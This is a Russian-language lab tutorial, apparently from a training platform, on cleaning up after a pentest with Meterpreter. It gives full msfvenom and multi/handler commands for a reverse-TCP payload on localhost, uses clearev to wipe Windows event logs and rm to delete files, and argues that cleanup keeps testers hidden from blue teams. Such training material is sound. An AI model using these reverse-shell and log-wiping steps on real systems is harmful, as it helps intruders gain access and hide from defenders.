Очистка системы после пентеста с использованием Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

В области тестирования на проникновение и красных команд получение доступа к целевой системе — это лишь часть миссии. То, что вы делаете после получения доступа, и не менее важно, перед отключением, имеет решающее значение. Этот этап известен как пост-эксплуатация. Важнейшим компонентом пост-эксплуатации является очистка: процесс удаления всех следов вашего присутствия из скомпрометированной системы.

Оставленные инструменты, журналы или изменения в системе могут предупредить системных администраторов и синие команды о ваших действиях, что приведет к провалу задания и исправлению уязвимостей, которые вы использовали. Meterpreter, мощный полезный груз в Metasploit Framework, предоставляет несколько инструментов для помощи в этом процессе очистки.

В этой лаборатории вы изучите основные шаги по очистке системы после задания с использованием Meterpreter. Вы попрактикуетесь в получении сессии, очистке журналов событий, удалении файлов и понимании важности отсутствия следов.

Получение сессии Meterpreter на целевой системе

На этом этапе, прежде чем мы сможем попрактиковаться в очистке системы, нам сначала нужно получить к ней доступ. Мы смоделируем это, создав полезную нагрузку с помощью msfvenom, настроив прослушиватель в Metasploit Framework и затем "выполнив" полезную нагрузку на нашей собственной машине, чтобы получить сессию Meterpreter на localhost.

Сначала откройте терминал и используйте msfvenom для генерации полезной нагрузки Meterpreter для Linux. Эта команда создаст исполняемый файл с именем payload.elf в вашем текущем каталоге (~/project).

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Вы должны увидеть вывод, указывающий на успешную генерацию полезной нагрузки:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

Далее запустите консоль Metasploit Framework. Флаг -q заставит ее запуститься тихо, без отображения баннера.

msfconsole -q

Оказавшись в приглашении msfconsole, вам нужно настроить прослушиватель для приема соединения от полезной нагрузки. Мы будем использовать модуль exploit/multi/handler.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Команда exploit -j запускает прослушиватель как фоновую задачу, поэтому вы все еще можете использовать консоль. Вы увидите сообщение о запуске обработчика.

Теперь откройте новую вкладку терминала, нажав значок + в окне терминала. На этой новой вкладке сделайте полезную нагрузку исполняемой и запустите ее.

chmod +x ~/project/payload.elf
~/project/payload.elf

Вернитесь на первую вкладку терминала с msfconsole. Вы должны увидеть сообщение, указывающее на открытие сессии Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

Чтобы взаимодействовать с этой новой сессией, используйте команду sessions.

sessions -i 1

Ваше приглашение должно измениться на meterpreter >, что означает, что вы теперь контролируете сессию.

Использование команды clearev для очистки журналов событий

На этом этапе мы обсудим одну из самых важных команд очистки в Meterpreter: clearev. Основная цель очистки — удалить следы вашей активности из системных журналов. В системах Windows эти журналы (Приложения, Система и Безопасность) являются основным источником информации для следователей.

Команда clearev специально разработана для очистки этих трех основных журналов событий на целевой системе Windows.

Важное примечание: Наша текущая сессия Meterpreter находится в системе Linux. Команда clearev здесь не будет работать и приведет к ошибке. Мы демонстрируем ее использование в образовательных целях, поскольку это критически важный инструмент при работе с целевой системой Windows.

В приглашении meterpreter > введите команду, чтобы увидеть результат в нашей сессии Linux:

meterpreter > clearev

Вы увидите сообщение об ошибке, поскольку команда не реализована для систем Linux.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

Однако, если бы вы находились в сессии Meterpreter на машине Windows, вывод выглядел бы следующим образом, указывая на успех:

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

Понимание того, какие инструменты работают на каких операционных системах, является ключевым навыком для специалиста по тестированию на проникновение. Несмотря на то, что мы не смогли успешно выполнить команду, теперь вы знаете основную команду для очистки журналов событий на целевой системе Windows.

Вручную удалить любые загруженные файлы или инструменты

На этом этапе вы научитесь вручную удалять файлы, которые вы могли загрузить или создать на целевой системе. Автоматизированные скрипты полезны, но вы всегда должны выполнять ручную проверку, чтобы убедиться, что никакие инструменты, скрипты или полезные нагрузки не остались.

В нашем текущем сценарии файл payload.elf, который мы создали на Шаге 1, теперь находится на "скомпрометированной" системе. Мы должны удалить его, чтобы замести следы. Мы можем сделать это непосредственно из нашей сессии Meterpreter.

Сначала используйте команду ls в Meterpreter, чтобы перечислить файлы в текущем каталоге цели. Вы должны увидеть файл вашей полезной нагрузки.

meterpreter > ls

Вывод перечислит файлы в /home/labex/project:

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

Теперь используйте команду rm в Meterpreter для удаления файла.

meterpreter > rm payload.elf

Вы должны увидеть подтверждающее сообщение:

[*] rm: Removed /home/labex/project/payload.elf

Чтобы убедиться, что файл удален, снова выполните команду ls. Файл payload.elf больше не должен быть в списке. Это критически важный шаг для обеспечения того, чтобы вы оставили систему в том состоянии, в котором ее нашли.

Отмена любых системных изменений, внесенных во время пост-эксплуатации

На этом этапе мы рассмотрим еще один аспект очистки: отмену системных изменений. Во время пост-эксплуатации вы можете добавлять учетные записи пользователей, изменять разрешения файлов или создавать запланированные задачи для обеспечения персистентности. Все эти изменения должны быть отменены перед вашим уходом.

Мы смоделируем это, создав временный файл, представляющий собой изменение системы, а затем удалим его.

Из вашего приглашения meterpreter > давайте создадим файл с именем temp_change.txt. Мы можем сделать это, используя команду Meterpreter execute для выполнения команды touch на целевой системе.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

Эта команда выполняет touch с аргументом /home/labex/project/temp_change.txt. Вы можете проверить его создание с помощью ls.

meterpreter > ls

Теперь, в рамках нашей очистки, мы должны удалить этот файл. Используйте команду rm, как вы делали это на предыдущем шаге.

meterpreter > rm temp_change.txt

Это очень простой пример, но принцип применим и к более сложным изменениям. Если вы добавили пользователя, вы должны удалить этого пользователя. Если вы изменили конфигурационный файл, вы должны восстановить его из резервной копии или отменить изменения вручную.

Наконец, наша очистка на целевой системе завершена. Теперь мы можем выйти из сессии Meterpreter, а затем выйти из консоли Metasploit.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

Это вернет вас к обычному приглашению терминала.

Обсуждение важности отсутствия следов

Этот заключительный шаг представляет собой концептуальный обзор того, почему очистка является одной из наиболее критических фаз профессионального взаимодействия по обеспечению безопасности. Здесь нет команд для выполнения; цель состоит в том, чтобы понять стратегическую важность того, что вы только что практиковали.

Ключевые причины тщательной очистки:

  1. Операционная безопасность (OPSEC): Основная цель — оставаться незамеченным. Любой артефакт, который вы оставите позади — файл, запись в журнале, работающий процесс — является подсказкой для команд синей стороны и специалистов по реагированию на инциденты. Обнаружение может уничтожить всю вашу операцию, включая использованные вами инструменты и инфраструктуру.

  2. Профессионализм и добросовестность: В рамках профессионального тестирования на проникновение вас нанимают для оценки безопасности, а не для нанесения ущерба системам клиента. Оставление системы в измененном состоянии непрофессионально. Восстановление системы в исходное состояние демонстрирует заботу и уважение к среде клиента.

  3. Предотвращение непреднамеренного ущерба: Оставленные инструменты или скрипты могут вызвать нестабильность системы. Хуже того, обнаруженная вами лазейка для доступа может быть использована злоумышленником, что сделает систему менее безопасной, чем она была в начале. Ваша ответственность — повышать безопасность, а не создавать новые уязвимости.

  4. Поддержание будущего доступа: В рамках взаимодействия красной команды, которое может длиться недели или месяцы, очистка после каждого небольшого действия гарантирует, что ваш долгосрочный доступ не будет обнаружен преждевременно. Если вас обнаружат, защитники исправят уязвимости и закроют точки доступа, которые вы использовали.

Таким образом, эффективная очистка — это не просто удаление файлов. Это образ мышления, который ставит во главу угла скрытность, профессионализм и основную миссию взаимодействия. Это отличает начинающих хакеров от профессиональных специалистов по безопасности.

Резюме

В этой лабораторной работе вы прошли через основной процесс очистки скомпрометированной системы с использованием Meterpreter. Это фундаментальный навык для любого этичного хакера или специалиста по тестированию на проникновение.

Вы успешно:

  • Получили сессию Meterpreter, создав и выполнив полезную нагрузку (payload).
  • Узнали о команде clearev и ее конкретном применении для очистки журналов событий в системах Windows.
  • Практиковались в ручном удалении файлов из целевой системы с помощью команды Meterpreter rm.
  • Смоделировали отмену системных изменений, создав и удалив временный файл.
  • Обдумали критическую важность очистки для поддержания операционной безопасности и профессионализма.

Овладев этими методами, вы можете гарантировать, что ваши действия по обеспечению безопасности будут не только эффективными, но и ответственными, оставляя целевую среду в том состоянии, в котором вы ее нашли, и минимизируя риск обнаружения.